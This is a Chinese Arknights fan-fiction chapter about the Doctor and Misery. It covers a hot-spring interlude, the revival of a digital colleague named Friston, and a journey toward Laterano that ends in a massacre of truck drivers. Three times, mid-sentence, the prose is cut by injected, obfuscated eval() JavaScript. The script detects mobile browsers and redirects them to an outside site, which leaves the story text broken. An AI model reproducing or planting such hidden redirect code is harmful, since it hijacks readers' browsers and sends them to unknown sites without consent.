雾气氤氲,潮湿温暖的水汽笼罩着整个房间,老字号火山风情温泉的最贵包间自有独到的地方,他们不仅独享温泉池,还配有饮料与果切,蓝白的背景墙上精美的贝壳拼贴画,将汐斯塔的海景完整呈现在墙上,连室内的香薰都甜得醉人。 虽然已经有过更深入的关系,博士和Misery还是做不到马上坦诚相见,欲盖弥彰地在浴室围着浴巾才出来,直到下水时才脱掉。这倒不是因为害羞,而是面对心上人的□□,总会催生一些紧张的情绪,像两块磁石一样,隔着衣服尚且能够控制住那股要把他们黏在一起般的磁力,但脱了衣服可就不一定了。 博士的头发稍长,在脑后扎了个高马尾再盘起来。温热的水流淹没了人类的胸口,一直淹到下巴,他还偶尔沉下去只露出一双眼睛在外面,然后咕噜咕噜吹水泡玩。 Misery就在他斜对面,因为浓浓的雾气阻挡,只能看见一团模糊的黑影。 “Misery?” 没有回应,那团黑影也不知何时消失了。博士疑惑左右望,他从池子里站起身,温泉的高热下露出水面的皮肤被烧得通红。 他又唤了好几声,但都没有回应,虽然知道萨卡兹可能是有事暂时离开,也可能是在对面哪一个地方睡着了,但博士仍然止不住地发慌,他连被绑架的时候都没有过这样的情绪。你变软弱了,内心的某一个声音说。 在他下定决心离开温泉池观察情况时,一双手突然攀上他的腰,博士本就神经紧张,一下子吓得够呛,惊叫一声直接脚滑往后倒去。但他没有沉入水池,从面前的水中钻出的萨卡兹拽回了他。博士惊魂未定伏在Misery滚烫的胸口,然后他反应过来刚才到底发生什么事了,狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391788|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠拧了一把萨卡兹的腰肉。 “你吓我干什么!?” “对不起,博士,我没想到你反应这么大……”萨卡兹有些心虚,挺直了身板任博士掐,“我就是想过来找你。” “那你也别一声不吭,我还以为你不见了。”尽管有在努力控制,但博士的声音仍然透露出一股慌张,Misery嗅到了这一点,他把人类从水池里抱起来,轻轻放在岸边坚实的位置,还提前拿过毛巾垫在博士屁股底下。 “是我的错,我向你道歉,我不该不回应你的呼叫,也不该不打招呼就钻水里游过来找你。”Misery的语气诚恳,他还在水里蹲下拉低身位,微微仰头,清亮的金色眼睛注视着博士,他的手掌也轻轻放在人类的膝盖上。 博士就算还生气,也不好再发作了,毕竟至少还有三四成责任在于他自己的胡思乱想,萨卡兹身强力壮,物理强度高,源石技艺也同样高超,哪里需要他来担心,于是他闷闷道:“下次不准这样了。” Misery知道这是博士在给台阶下,他亲了口人类的脸颊,“我保证不会有下一次。你是因为担心我所以生气吗,博士?” “……没有。”博士气呼呼道。 “那你为什么会因为我不见了着急呢?”Misery手臂撑在博士的身侧,整个上半身浮出水面,顷刻间就将瘦小的人类罩在身下,眼神里充满探究。 眼看两人越挨越近,Misery几乎将他大半搂在怀里了,萨卡兹温热的呼吸与潮湿的水汽一同扑打在脸上,博士也丝毫不怯场,对视回去,“因为你从来都不会离开我的身边。” “原来博士这么关心我,黏我,需要我。”他侧过头与人类紧绷的唇瓣近在咫尺,呼吸间缠绵着对方的味道,却始终离开一点距离,尾巴也伸出水面,撩起一池涟漪,“虽然老是口是心非,但身体却很诚实。” “我没有……”博士忍不住屏息,房间里的熏香味道好像越来越浓了,熏得他头昏眼花的,绝不是因为Misery压在他身上的重量让他本能地小腿颤栗。 “你看我的眼神里有欲望,”Misery语气愉悦起来,“愿意承认爱我,都不愿意承认你想要我,博士。” 人类的脸因为温度和憋气变得通红,理智告诉他,现在应该强硬起来对萨卡兹说不,但本能只想哄着他服软,Misery不会伤害他,他为什么一定要死守着那点不值钱的面子呢。欲望与黑夜的温床是那么甜蜜而诱惑,绞杀一切清醒与抵抗的意志。 ………… ………… 博士清醒过来时已经浑身清爽躺在床上了,但他浑身跟被十辆叙拉古汽车碾过一样,到处都疼。他最后的记忆停留在他试图给Misery的角打上保养霜的泡泡,但实在太累太困直接靠在Misery背上睡着了。 他旁边的位置空荡荡的,温度散去有一阵了,Misery应该起得很早。博士从床头拿过自己的终端,今天还有件重要的事情差点给忘了,还好还没睡过约定的时间,但人类现在连起床都有点勉强,他掀开被子看过去,重重叠叠的红痕从脖子蔓延到大腿根,任谁看了都以为他昨晚遭受了什么酷刑。 而始作俑者正好这时候推门进来,他的手里提着热牛奶和三明治,和博士的萎靡不振相反,Misery整个人神清气爽,连头上翘起来的那几根白毛都服帖在背头上。 “博士。”萨卡兹放下早餐,奔到他身边,神色紧张问道,“……你还好吗?有没有哪里不舒服?” “我哪里都不舒服。”博士叹气,Misery的表情更难过了,“别急着把过错往自己身上揽,这是我同意的,而且还算可以接受的程度……只是我现在没什么力气,只能靠你帮我了。” Misery把他扶起来,背后塞上靠枕,用外套裹住人类略显凄惨的身体,亲手喂给博士早餐,“Mechanist来过一次电话,不知道你看终端没,你现在身体不适,我去跟他讲讲时间推后吧。” “不了,”博士腮帮鼓鼓的,缓慢咀嚼下咽,“弗里斯顿越早开机越好,就今天吧。” 24. 23 测试开始。 博士按下按键,电脑屏幕上的加载条像带壳的沙地兽一样从屏幕的最左滚动到最右,一阵信号不稳带来的画面抖动之后,黑色的背景上一个放大的电子表情出现在屏幕正中央。 **——( ˙-˙ )——** 然后是经过博士仔细挑选,最贴近本人的声线,听起来像是三四十岁中年男人的声音,从喇叭里传出:“(未知语言)好亮!奇怪,这里不是……” “(未知语言)欢迎回归,弗里斯顿,希望你还记得我是谁。” 博士合拢十指,屏幕上方的摄像头应当准确将他的面容影像传递给了程序。说是程序,其实也不准确,弗里斯顿与AI不同,他具备“人”的自我意识以及自我纠错能力,更加可靠,也更值得信赖。 屏幕上的表情亮起笑脸,“当然,预言家,这是在什么地方?怎么会有温暖的阳光和……噢,天呐,我都多少年没见过这样美丽的海景了。” 博士轻声笑了笑,“时间恐怕比你预估的久得多,老朋友,现在距离保存者计划的起点已经过了上万年了。我既有坏消息,也有好消息要告诉你。希望你做好心理准备,这会是一个很长的故事。” Misery没有参与这场会面,尽管博士表示不介意他在旁边,但萨卡兹自觉去楼下酒吧喝一杯再回来,为他们留出叙旧的空间。上一次来这里还是他跟博士闹别扭时,他一个人跑来喝闷酒,结果就刚好让那只该死的羽蛇钻了空子,还好那时他才刚开始喝,桌上虽然堆满点的高浓度酒精,但实际上喝的并不多。 按天数算起来,其实才过了没多少天,但发生的事件却不少,他与博士的关系如今已经天翻地覆,连跟博士较劲都好像是很久以前的事情了。 萨卡兹低头看向手上的银色戒指,眼神里带有他自己都没察觉到的温暖笑意。 “您的酒。”一杯橘红色的低浓度酒精饮料经由酒保的手,放在他面前,酒保小哥的观察力出色,搭话道,“恭喜这位客人新婚燕尔?跟前段时间好像不大一样了,您现在浑身上下都散发着老实人夫的味道,难怪大白天来我们这喝酒,还点的最低浓度的特里蒙阳光。” “有这么明显吗?”Misery道谢,端起酒杯小抿一口,不过他也确实不会带着一身酒精味回去。 “幸福的人身上会散发不一样的气质,干我们这一行的,看一眼就知道你最近过得怎么样了。前些天还为情所困的样子,今天就看着戒指直乐呵,出来度假还能抱得美人归,真是令人羡慕的好运啊。”酒保轻轻摇头,他的手上动作轻快,将调酒用具一一擦洗摆回,再顺带把台面清理干净。 客人进进出出,带动门前的风铃一阵清脆响声,像滚落的玻璃瓶,沿着台阶一层一层往下,到最后一层时却没有破碎,滚到墙角里停住。阳光像指间漏下的细沙,均匀涂抹在室内木地板上。Misery掏出随身的一个小本子,在上面涂涂写写,博士教给他的前文明记事法如今已经能够熟练运用了,有时候心血来潮就会坐下来写写。文字有一种特别的、能够平静人心的能力。但今天的他完全静不下心来,写一阵又看一眼终端,才刚过了两个小时,他已经看了终端十几次了。萨卡兹忧心忡忡地想自己可能真的患有分离焦虑,连离开博士半天都受不了。 在Misery彻底坐立不安之前,博士终于一个电话打过来把他叫回去。 “真是奇特,他除了有角、有尾巴、额头上有奇怪的花纹,其他和我们完全一样。” 屏幕上的电子表情变动着,虽然没有五官来得生动,但也别有一种奇异的直观感受,那根代表嘴巴的横线一会儿变成O一会儿变成V。 “泰拉的基本资料我想Mechanist已经打包存在你的数据库里了,你可以随时调用。” “啊,找到了!萨卡兹,卡兹戴尔原生物种……分类还挺复杂的,他属于哪一种?” “有一点独眼巨人,我猜,他们现在普遍混血,除了王庭那几个老怪物,也没几个纯血的萨卡兹了。” “居然已经如此接近人类……你会在泰拉组建家庭吗?这个你带来见我的萨卡兹,我猜他对你来说是特别的。” 博士低头看了眼手上的戒指,又看看旁边的萨卡兹,“嗯……算是已经有了吧。” “那你们之间会有生殖隔离吗?” 博士原本正在喝Misery给他捎回来的茶,听到这,一口茶水喷了出来。作为两个前文明人研究对象的萨卡兹还没听出来什么不对,他给博士递了纸巾。 “……这个问题很不礼貌,弗里斯顿。”博士皱眉擦嘴。 “那我换一种幽默一点的方式问,这是新搭载的幽默程序:你和萨卡兹能造混血小萨卡兹吗?” “……你这幽默程序是Mechanist的手笔?” “看署名是的,哦,他还在旁边留了个注释:‘不用谢!如果觉得太吵了可以把他的幽默度调低。’” “调成零。”博士的语气斩钉截铁。 “尊敬的阁下,我不得不郑重向你为我的行为表示歉意,由于根植于我的本能中的对于未知事物的窥探以至于我问出如此失礼且冒犯的问题,请允许我……” “调到65%。” “好的,博士,可是我真的很好奇。” “我和他都没有那个能力。有一点我得提醒你,弗里斯顿,你可以信任Misery,他会我们的基本语言,至于其他的泰拉人,没有让他们知道我们存在的必要。”博士沉声说道。 接通本地互联网以后,弗里斯顿钻进泰拉的网络里挖得不亦乐乎,他对于新世界的接受良好让博士放心了不少,尽管因为认知差异,容易闹出一些哭笑不得的笑话,但有故人陪着说话的感觉终究不一样。 “博士,(未知语言)‘生殖隔离’是什么?”趁着弗里斯顿沉迷互联网,好学生Misery终于逮到跟博士单独相处的机会发问,博士头一回觉得学生的记性太好不是件好事,连每一个发音都准确无比。 他直接偷懒背出教科书上的内容,语气一板一眼:“不同物种或群体之间在生殖上的隔离,导致无法进行有意义的□□或产生可生育的后代。” “所以他问的是……”萨卡兹的声音突然弱下去,紧接着脸色爆红。 “弗里斯顿也算我半个长辈,在科研和生活上,他都是我的前辈。而且作为有家庭的过来人,会打听我的生活现状也很正常。他过去就很热衷于跟我们分享他的幸福家庭,试图劝我们偶尔离开实验室享受生活。” 但萨卡兹的重点歪了,他有点紧张地咽了口唾沫,“所以……我这算不算是见家长了?” “你这么说也没什么问题,不过放心吧,他不会像肥皂剧里的恶婆婆那样刁难你,他是个有趣、和善、热爱生活的中年人。”博士宽慰地拍拍他的肩膀,脸上憋着笑,“这也是为什么当年会选择他作为保存者计划的执行人。” 博士的语气陡然沉了下去,“……石棺里就有他的妻女,在最绝望的那段时间里,我们相信,唯有人的意志能够抵抗上万年时光的侵蚀。但好在现在的他,因为缺失了记忆,对他来说就像听另一个人的故事一样,会有心绪起伏,会有时光流逝的感慨,但也只是别人的故事罢了。” 在离开汐斯塔这个关键节点,连笔记本电脑都显得太笨重了,弗里斯顿的新家安顿在博士的终端里,在用最纯粹的物理方式毁掉电脑硬盘以后,博士最后再看了一眼汐斯塔午夜的海洋与沙滩,静悄悄的月光为他们送行。 “真是奇妙的源石技艺——”一路上弗里斯顿的感叹就没停过,由于他本人的强烈要求,博士没有把终端揣进漆黑见不到光亮的背包里,而是插在胸前的口袋,摄像头朝外。对于前文明人类来说,泰拉的科技虽然还很原始,但源石技艺的运用堪称魔法,博士很能感同身受,当他醒来发现这里的人们能够用源石做到那么多不可思议的事情,他也新奇了一阵。 “这里简直就像以前特别流行的一种文学。” “什么文学?” “异世界穿越文学,到你们这一代都没落了好久了。”弗里斯顿感慨道,“因为某种原因穿越到异世界的普通人成为救世主,在这个过程中还和当地土著建立了浪漫关系——” “这回答是幽默的还是认真的?”博士抽了抽嘴角。 “为了缓解气氛,而且我说的是真的,”弗里斯顿继续絮絮叨叨,“况且我也没觉得有什么不好,我本来还担心你一个人在泰拉太孤独,但现在看,你这四处乱捡的毛病果然还是没改掉。” Sharp拖住了梅兰德基金会的眼线,他们连夜离开汐斯塔境内,搭上隐蔽的货运车辆,抹除一切可能泄露行踪的痕迹。锡兰在汐斯塔还算说得上话,扛住哥伦比亚政府的问责。多利为军方找了好一些麻烦,军方机械莫名其妙三天两头的故障。就连小羊们也都纷纷自告奋勇帮他们扛行李,一直送他们到安排好的空车厢内。 “就这么放他们走吗,总统先生?”锡人看着面前的一份情报,由于第三方的阻拦,他们已经第二次丢失了博士行踪。 胖胖的黎博利脸上看不出什么表情,或者严格来说,他们两个都不是容易做出表情的类型,“逼太紧只会适得其反,这还是你当初劝我的原话。现在的哥伦比亚还不够强大,舞台中心的位置就暂时让给他们好了,我们只需要耐心等待,等着收拾残局。而且比起关心这些事情,我对莱茵生命和谢拉格新的合作项目更感兴趣。” “谢拉格那位新董事长听说是个难缠的主,但我们的塞雷娅总辖也是出了名的硬骨头,估计谈下来还要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391789|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些时日。”锡人折叠手上的纸条,金属手指在掌心摩擦过,燃起的火苗吞噬了白色的纸张。 “让你们的人最近注意点卡兹戴尔的动静,这场持续已久的战争,哪边都不要赢了才好。”黎博利坐在真皮沙发上,仔细观察的话,会发现它的身体没有胸口起伏,喙里冒出的热气不知道是从什么地方产生的。 “拉特兰那边……” “我知道你们有些小朋友放在拉特兰,但不要做多余的事情,这是忠告,也是警告,他们会保护新生的孩子,但也同样会掉转枪头对准我们。”黎博利闭上眼睛,旁边桌子上的同样外型的小黎博利机械玩偶同时睁开了眼。 博士缩在睡袋里睡得正香,他的身边陪伴着爱人与友人。卡车的行驶平稳,他们会跟随这支车队穿越旷野,穿越山谷,一路抵达圣城脚底。 Misery手里握着博士的终端守在车厢门口,有一搭没一搭回应着博士老同事的絮叨,弗里斯顿对他们之间的经历非常好奇,甚至切换了新安的语言包,用萨卡兹语快把Misery祖上的事情都要问出来了。Misery对于自己的祖先没有什么特别的感受,但他好歹也接受过完整的历史文化教育,在巴别塔时还有夜间文化课的安排,那些有名的魔王们的事迹家喻户晓,Misery启唇轻声讲述起那些传奇事迹。 卡车的大门不完全封闭,从铁门的宽大夹缝里能够望见夜空中的星星,萨卡兹稍显年轻的声音淹没在车轮滚滚卷起的尘烟中。 “难怪你能够留在博士的身边,我这么唠叨你都完全不嫌烦,”弗里斯顿感慨道,“当然,博士没有我这么能念叨,但他很难与其他人建立羁绊。” “为什么?” “即使是在我们这个高度发达的文明中,天才也不是随处可见的,更何况博士这种几乎站在我们族群顶尖的天才研究员。说老实话,我刚认识他时,说不嫉妒是不可能的,”屏幕上的表情变为一个笑脸,“他比我们年轻这么多,却几乎碾压我们一生的成果。那是非常恐怖的一件事情,他的起点就已经是我们的终点。 “但真正认识他以后,我不再这么想了。我也不想浮于表面夸他友善、热心、善良什么的,越是优秀的人越会承受想象不到的压力。当星星一个接一个的熄灭,我们的飞船一个接一个的失联,无数个存续计划被否决,最后的担子交到他的身上,换其他人恐怕早就精神崩溃了,但只有他带领的项目组在当时为我们拼出了一点曙光。”屏幕上的表情变成了哭脸,但声音依旧带有稳定的电子感。 Misery皱起眉头,他在博士面前对前文明讳莫如深,就是担心的这个,弗里斯顿的话证实了他的猜测,“……毁灭你们的究竟是什么?” “观察者,用更通俗的语言来说,是针对文明这棵巨树的伐木工,我们对祂的理解也仅限于此,远远超出了我们能够抗衡的力量。” “是你们的敌人吗?” “不,祂甚至不具备主观意识,祂也许只是客观上抹除了我们的文明。” “既然祂还存在,那是不是意味着泰拉未来也会……” “这我就不知道了,预言家——博士应该比我更加清楚你们的情况。” “谢谢你,弗里斯顿,我还有最后一个问题,如果不方便回答的话……也没关系。”Misery眉头皱得更深了。 “你说,看在你这么耐心求教的份上,我肯定知无不答。”如果弗里斯顿有身体的话,他现在肯定会拍拍自己胸脯。 “……普瑞赛斯,是谁?” 终端诡异沉默了一阵,Misery犹豫着要不要撤回这个问题,这个名字就像某种魔咒,纠缠在他们的命运之间。弗里斯顿的声音缓缓从喇叭里响起,他的声音不再那么高亢有力,“我的确不是那个最适合回答你这个问题的人,但我可以告诉你的是——博士是她最重要的人。至于她与博士的过去,就连我也不太清楚,你只能问博士本人。” “我明白了。”Misery轻声叹气,“希望你不要误解,我不是出于嫉妒或者不满。与博士谈论过去就像玩扫雷游戏一样,我不想刺激他、伤害他,也理解他有时候会对我隐瞒一部分,但我不能什么都不做,看着他痛苦却帮不上任何忙。” “……你会是个好伴侣的。”弗里斯顿的表情切换了好几下,似乎在斟酌语言,“这也是为什么他很难与其他人建立羁绊,他对所有人都一样好,一个几乎没有私心的圣人,但人与人之间的关系就是在分享痛苦之间建立起来的。” 也许是看Misery身旁那抹忧郁色彩过于浓厚,终端亮起了另一个画面,“嗯……玩扫雷游戏吗?既然你提到了它,我也正好在这台机子里找到了。” 漆黑的夜里,人类手上沉寂已久的咒文发出微量的光芒,但熟睡中的人类没有察觉到。 25. 24 这些大卡车的司机们大多是来自玻利瓦尔的忠厚朴实的佩洛,而且夫妻档居多,轮流开车休息,日夜兼程,吃住几乎都在车上。他们也只当博士和Misery是搭顺风车前往圣城的朝圣者,还会热心分享午餐,他们频繁来往移动城市间,内部消息灵通,提醒两位乘客拉特兰近期修改的种种戒律。 “虽然现在他们已经废止了禁止萨卡兹进入的律条,但你去了最好还是低调点,戴个帽子。”他们搭乘的这辆车的司机佩洛大叔最为热情和善,他回头招呼起他的妻子兼搭档,“西莉娅,我那顶灰色的旧帽子呢,你今年新织的漂亮又暖和,那顶我用不上啦,但给小伙子正好。” “都在这收着呢,老头子,你的眼珠子一转我就知道你打的什么主意。”西莉娅撇了撇嘴,她的身材圆实健壮,动作麻利,干燥蓬松的深棕色卷发拢在头巾后,看上去就是干活的一把好手,只见她撅着个嘴从后座里掏出新色的帽子,“人家多俊一娃娃,戴你那顶破烂帽子也不嫌磕碜!我多做了几顶给咱儿子的,正好他们年纪相仿,还是今年流行的新款式。” Misery腼腆谢过热情的夫妻俩,黑色的毛线帽戴在头顶,遮住一对尖锐的角,正中缝着一只可爱的黄色小佩洛兽亲。 博士手里揣着暖乎乎的热水杯,凑到Misery身边,“这帽子挺可爱的。” 说完他还伸手摸了摸,细密均匀的针脚,编织着家人的爱。 Misery摘下帽子放到博士头顶,由于头围大小的差距,直接塌下来遮住了博士半边视线,他往后扯了扯,才固定到位,“看来胡里曼大叔家的孩子跟你一样个头又高又壮。” “或许吧,我听西莉娅说,他们家孩子在哥伦比亚上大学,学的还是金融,以后出来管钱的。” 博士支着下巴,斜了斜脑袋,“卡车司机这工作实在辛苦,下一代能够努力定居哥伦比亚的话,也是件好事。” 离上车奔赴下一个休息处的时间还有些剩余,博士坐着坐着就没什么坐相了,头一歪靠在萨卡兹的胳膊上,Misery伸出手揽过他的肩膀,让博士靠着更舒服些。今天的太阳很给面子,既不强烈到地面发烫,也不在云层后面躲猫猫,薄薄的阳光为光秃秃的巨岩泼洒上斑斑点点的橘红色油漆。 “你想好离开拉特兰以后有什么打算了吗?” “你不先问我去拉特兰做什么?” “你知道你有自己的计划,我更关心那以后。”Misery坦白道,“如果你还想继续沿着泰拉走一圈……” “如果有时间,我当然愿意,而且跟你一起。但是……”博士顿了顿,“有些事情我已经拖得够久了,不彻底解决的话,我没法踏上新的旅途。” “我会等你。”萨卡兹捏捏人类的手指,“可能这么说有点不自量力,但我希望放下那些责任的重担以后,你还能让我陪在你身边。” “这怎么会是不自量力?我的身边随时欢迎你的到来,Misery。”博士立起身子,转过头,两只手捧住萨卡兹的脑袋,亲吻他。博士本想简单的贴贴就撤,但Misery扣住他的后脑勺加深了这个吻,微凉的唇瓣里藏着热情的舌头。 呼吸热烈交织,唾液牵成银丝。淹没于萨卡兹的气息中的博士进一步溃败以前,兜里的终端突然震动两声。 弗里斯顿的声音介入他们之间,他煞有介事地假装清清不存在的嗓子,“咳咳……我不是故意打断你们的,拉特兰那边有回应了,他们承诺会派出圣徒与高速战舰一同来迎接你,博士,那堆神神叨叨的修辞我就帮你省略了。” “知道了。”博士红着脸急匆匆撤开,掏出终端查看,与弗里斯顿所说大差不差,不过特别提到了他们会按启示所言,迎接博士的回归。 “当然,我不反对你们偶尔亲热亲热,甚至可以说赞成……但下次记得把我的收音关一下,谢谢。” Misery同样红了脸,但脸上仍然挂着笑。博士平复了一下打乱的心绪,“你也不用时刻都待在终端里,弗里斯顿,试试你的黑客程序,附近凡是源石能源驱动的机械都可以成为你的眼睛,成为你延伸的四肢。” 车队行走在荒野上,高大的轮子碾过凹凸不平的路面,移动城市之间的货物流通除了城市之间的短暂汇合,大多仍然依靠这种古老的方式。因为天灾的侵袭,这条道路没有固定的路线,但靠着天灾信使,各国的路线预警技术进步,以及车队内部的无线电通讯,如今的正规卡车司机和移动城市的高楼大厦里的工作一样普通。但因为野外长途艰苦的条件,外来讨生活、肯吃苦的人才干得下去。 为了确保司机的状态和补充消耗的燃料,车队会强制要求在一些重要的小型移动平台上的小镇歇脚。越靠近拉特兰,当地居民的种族中黎博利和萨科塔的占比就越高,不难从中得知萨科塔的主要种族组成,他们虔诚的宗教信仰与对拉特兰的崇拜也越来越明显出现在人们的服饰、饮食、住所中。 卡车又一次停下轰隆的脚步。外面传来一阵骚乱的声音,细听好像是有人在此设卡,特殊时期要求检查从边境入境的车辆与人员。车队领队对此颇有微词:“这里离拉特兰边境还有几公里呢,你们查案的怎么跑境外来查了?” “就是,就是,分明就是看我们好欺负,要收保护费!” 博士掏出终端,要求弗里斯顿侵入附近的摄像头看看外面到底什么情况。 街道上的影像投射回终端屏幕,弗里斯顿同时查看了好几个探头,“外面的商店店门紧闭,居民都躲在家中,跟我们领队起争执的是个穿拉特兰制服的黎博利,看他身后这群人的架势,估计不检查不让走了。” “不对劲。”博士敏锐道,他把能随身带上的东西都装进了背包里,耳里塞进耳机,递给Misery另一枚耳机,“我们提前下车。” 他们趁着车队前方两拨人正吵得厉害,迂回从另一侧潜入这个怪异、安静的小镇。 “注意避开摄像头和守卫。”博士提醒。 他们翻进一座教堂,站在较高的屋顶,在高处俯瞰整个小镇。除了街道上奇怪巡逻的戴着兜帽的人员,家家户户紧闭门扉,好像在惧怕着什么,从店铺的状态、教堂的入口登记册记录来看,这样的封锁不是一天两天的事情,初步估计至少有四五天。但他们这一路上从未听说过拉特兰戒严的消息,要么是某个秘密行动,要么……根本就不是拉特兰的人。 一声凄厉的惨叫拉回了他们的注意力,车队那边的争执似乎终于有了结果,但这结果却出乎所有人的意料。 佩戴拉特兰标志的黎博利长官身后的兜帽们摘下了他们遮掩身份的帽子,露出属于萨卡兹的双角,他们手上尖锐的刀刃与喷火的法杖沾满了车队的血液。 ……完全是单方面的屠杀,即便有些身体健壮、会法术的司机试图反抗,施展出源石技艺以后却越来越虚弱,突然身体僵直,最终倒伏在刀刃之下。 Misery几乎下意识就想赶过去帮忙,但博士拉住了他,“已经来不及了……而且这里被设下了巫术祭坛,任何源石技艺都会迅速抽干你的生命。” “可是——” 博士的视线扫过建筑群,“如果能够拆掉祭坛,加上这里的居民,那还有一拼的力量。” “事不宜迟,博士,指路吧!”弗里斯顿说道,他屏幕上的表情变得愤怒。 要找到祭坛核心并不算困难,博士尚在卡兹戴尔时就已经研究过萨卡兹的各类术法规则,而整个小镇适合藏匿和布置的中心点位置不多,排查过几栋可能的建筑后,最后只剩整个镇最中心位置的一座钟楼。 它安静伫立在教堂不远处,从这里敲响的钟声会唤醒这座小镇的每一个清晨。 顶层某个房间内,红色挑染的萨卡兹一脚踹上空木箱,嘴里骂骂咧咧,“真搞不懂为什么要让我们带上这家伙,叛徒就该丢进熔炉里烧掉——不,那样太便宜他了,应该丢到东边雷姆必拓那个什么卡峡谷里,再埋上几百个炸弹,保证连渣都不剩。” 萨卡兹剑士轻轻摇头,他的声音要沉稳许多,“你也听见殿下的话了,W,再忍忍,虽然我也不太赞成带上他,但这毕竟是两位殿下的命令……” “啧,可怜的丧家犬。”W手里捏着的爆弹蠢蠢欲动,但她犹豫了一下,还是塞回腰包里,语气愤愤,“我要是他,早就羞愤自杀了,怎么会拖到现在?” 萨卡兹剑士的眼神里露出些同情的神色,但他很快把那点情感压了下去,“这不是他自己能决定的事情,他生死的权力握在殿下手中。” “那就跪下来求啊?想死还不简单?”W继续在原地徘徊,“不行,我实在信不过他,不能留他一个人在这看守核心。” “核心不是我们的重点,”剑士继续耐心劝慰,“而且他会听我们的,无关他的主观意愿。” 吱呀一声轻响。博士推开顶层的门扉。 房间中央放出红色光芒的巫术核心,正在源源不断汲取着生命,像一团扭曲的心脏,被金属与源石挤压,向外释放出致命的震荡。 在进入这栋建筑以前,博士就取出一支抑制剂提前给Misery打上,即便如此,直面巫术核心的能量波,仍然让萨卡兹身上发烫,灼烧般的疼痛从源石结晶的位置传开。但没有更多时间来犹豫了,Misery手起刀落,致命的切口绽放在核心上,光芒逐渐淡去,那股压迫在身体上的巫术冲击波也逐渐减弱。 从发现到破坏,顺利得不可思议。 博士留了个心眼,他蹲下身观察祭坛附近的痕迹,除了明显出自鲜血王庭的符号,还有一些新鲜的、劈砍的痕迹,有人在这里进行过打斗,而那些刀刃都恰巧偏离了核心。不止他们想要拆除巫术祭坛,也许还有潜在的盟友,但他们毫无例外都失败了,沦为外面那群萨卡兹的刀下冤魂。 “我从一开始就不同意这样做。”一直在墙角沉默的黑影发声。 “所以你现在又长嘴了?”W讥讽笑笑,“我可从没见过你这么好心的一面,伊内斯。” “这是任务,所以我还可以忍受,但我不得不提醒你们,战争已经将萨卡兹,将你们的王扭曲成何种模样……”卡普里尼的金瞳闪烁着不明的光,她转过头去看向窗外的小镇。 “我们已经下令严禁伤害平民。”萨卡兹剑士插话道。 “你我都见过战争的真实模样,你知道这一切最后会演变成什么,赫德雷。” “但我们别无选择,至少他落在我们的手里还能稍微有一些尊严,我不会让W动他的。” 被提到的萨卡兹一脸不屑啧了一声,“我还没沦落到对一个残缺的俘虏下手的程度,而且他死了,殿下会不高兴的——喂!听到没,我之所以会大发慈悲放过你,只是因为你还有留下来赎罪的价值,给我好好干,否则……我会让你尝尝每一寸□□再次被撕裂的滋味。” 猩红色的巫术祭坛面前,跪坐着一具从头到尾沉默的躯体,他的头颅被黑布包裹,身穿深色的轻薄盔甲,黑色与红色的绑带缠紧胸膛,腰侧虽然挂着一对统一形制的锯齿长刀,但就像凭空多出来的一样,导致姿势的不自然,这并不像他惯用的武器。 咚—— 咚—— 咚—— 多日未曾响过的巨钟,雄厚悠远的钟声宛如一道雷霆鞭笞在大地之上,预告着敌人毁灭的启示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391790|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,昭示着反抗的风暴即将来临。所有萨卡兹的视线此刻都被聚集在城镇中央的钟楼之上,巫术祭坛的失效,剥夺了这群拥有巫术豁免的萨卡兹的优势。 “这样应该能为他们争取一点时间,”博士叹气道,他放下捂住耳朵的手,“希望还来得及。” “走吧,博士。”Misery松开钟椎,他的耳朵边残余着钟声的嗡嗡,胸腔里的共鸣也还未停止,但他的源石技艺不再阻滞,他抱起博士,从钟楼顶一跃而下,如同一尾入水的鳞,潜入建筑群的海洋中。 无人注意的角落中,同样有一个萨卡兹被钟声唤起,他握紧手里的两把长刀,刻在破碎躯体之上的巫术符号驱动着这具□□,让他犹如一道影子,以非人的方式线性移动,像一只木偶,但更像被悬丝捆住四肢的飞虫,飞向明亮烛火的同时渴盼着被这股火焰毁灭。 即使以最快的速度赶到车队旁,满地的尸体和血迹都宣告着同一个事实,就在他们潜入寻找巫术祭坛这段时间,萨卡兹士兵早已耐心耗尽,将这群无辜的司机们屠戮殆尽,车上的货物被倾倒在地,卡兹戴尔正规军制式的长刀还插在尸体上。 血,到处都是血…… 早上还在问他孩子寄来的信里有个词语怎么读的人倒在血泊里,昨天帮他修剪过肩长发的人脖子上破开大口。几个小时前还在欢笑的人们如今已经跨过生与死的界线,在这一小支卡兹戴尔正规军面前像纸一样被撕碎了。勇敢的西莉娅扑在胡里曼身前挡住坏人的刀,但只拖慢了一点自己深爱的丈夫迈向死亡的脚步。他们双双倒在了带给他们全部生活的卡车前。 